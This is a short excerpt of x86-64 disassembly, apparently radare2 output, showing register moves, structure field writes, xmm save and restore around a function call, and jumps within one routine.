mov byte [rcx + 8], dil
xor esi, esi
jmp 0x416920
cmp qword [rcx + 0x20], 0
je 0x416ab0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
mov qword [rcx + 0x10], rax
mov dword [rcx + 0x18], edx
mov rsi, rcx
call fcn.00416890
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x416922
inc rcx
mov qword [rdx + 0x10], rcx
jmp 0x416920